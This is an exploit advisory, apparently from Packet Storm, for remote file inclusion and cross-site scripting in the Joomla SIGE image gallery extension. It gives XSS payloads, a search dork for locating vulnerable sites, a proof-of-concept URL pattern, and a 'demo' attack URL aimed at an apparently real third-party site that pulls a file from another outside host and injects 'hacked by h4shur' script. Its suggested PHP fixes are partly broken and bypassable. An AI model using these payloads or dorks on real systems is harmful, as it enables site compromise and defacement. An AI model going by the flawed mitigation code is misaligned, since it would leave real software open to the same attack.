what you don't know can hurt you

Joomla SIGE 3.4.1-FREE / 3.5.3-PRO RFI / Cross Site Scripting

Joomla SIGE 3.4.1-FREE / 3.5.3-PRO RFI / Cross Site Scripting
Posted Nov 11, 2020
Authored by h4shur

Joomla Simple Image Gallery Extended (SIGE) extension versions 3.4.1-FREE and 3.5.3-PRO suffer from cross site scripting and remote file inclusion vulnerabilities.

tags | exploit, remote, vulnerability, code execution, xss, file inclusion
MD5 | 57c76870c76473a7da1cad2edd7fa766

Joomla SIGE 3.4.1-FREE / 3.5.3-PRO RFI / Cross Site Scripting

Change Mirror Download
# Title: SIGE - Simple Image Gallery Extended joomla extension 3.4.1-FREE /
3.5.3-PRO - Multi Vulnerability Remote File Inclusion [RFI] & Cross Site
Scripting [XSS]
# date: 2020-11-11
# Vendor Homepage: https://kubik-rubik.de/
# Software Link: https://kubik-rubik.de/sige-simple-image-gallery-extended
# Software Link:
https://kubik-rubik.de/downloads/sige-simple-image-gallery-extended
# Software Link:
https://extensions.joomla.org/extension/photos-a-images/galleries/sige/
# Version : 3.4.1-FREE / 3.5.3-PRO
# CWEs : CWE-98 / CWE-79
# Tested on: Windows 10 & Google Chrome
# Category : Web Application Bugs
# Dork : intext:"Powered by Simple Image Gallery Extended"
intext:"Powered by Simple Image Gallery Extended - Kubik-Rubik.de"



### Note:

* Another web application bug is the RFI bug, which can be very dangerous
And stands for Remote File Inclusion, which directly executes loose scripts
on the server
Also, this security hole is created by programmer errors
And you must be fluent in programming language to secure and prevent this
bug
And you have to control the inputs of the application and use powerful
firewalls

* This bug is one of the most dangerous bugs and the access that the
intruder can gain using this bug is the implementation of Shell script
In fact, by running Shell script, it will have relatively complete access
to the Target site server
If we want to explain it in text, the hacker will execute the shell by
giving a link from Shell script in txt format to the input of the
vulnerable site.

* what's the solution ?
Check the file entered by the user from a list and enter it if the file was
in the list. Example :
<?php
$files=array('test.gif');
if(in_array($_GET['file'], $files)){
include ($_GET['file']);
}
?>
* If you are a server administrator, turn off allow_url_fopen from the file.

* Or do it with the ini_set command. Only for (RFI)
<?php
ini_set('allow_url_fopen ', 'Off');
?>

* We can use the strpos command to check that if the address is: // http,
the file will not be enclosed (it can only block RFI)
<?php
$strpos = strpos($_GET['url'],'http://');
if(!$strpos){
include($_GET['url']);
}
?>

* Using str_replace we can give the given address from two characters "/",
"." Let's clean up.
<?php
$url=$_GET['url'];
$url = str_replace("/", "", $url);
$url = str_replace(".", "", $url);
include($url);
?>




### Xss Alert Code: "><svg onload=alert()>

'><script>alert('');</script>

<IMG "'"><script>alert()</script>'>

And Etc.




### Demo :

[+]
http://med.mui.ac.ir/oldsite/plugins/content/sige/plugin_sige/print.php?img=http://cheryco.ir/assets/public/js/uploading/images/h4shur/h4.gif&name=%22%3E%3Ch1%3Ehacked%20by%20h4shur%3C/h1%3E%22%20title=%22%3E%3Cscript%3Ealert(%27hacked%20by%20h4shur%27)%3C/script%3E




### Poc :

[+] site.com/[folders]/print.php?img=[RFI] &name=[XSS] title=[XSS]




### Contact Me :

* Email : h4shursec@gmail.com
* twitter : @h4shur
* Telegram : @h4shur
* Instagram : @netedit0r
Login or Register to add favorites

File Archive:

May 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    1 Files
  • 2
    May 2nd
    4 Files
  • 3
    May 3rd
    27 Files
  • 4
    May 4th
    17 Files
  • 5
    May 5th
    3 Files
  • 6
    May 6th
    32 Files
  • 7
    May 7th
    11 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close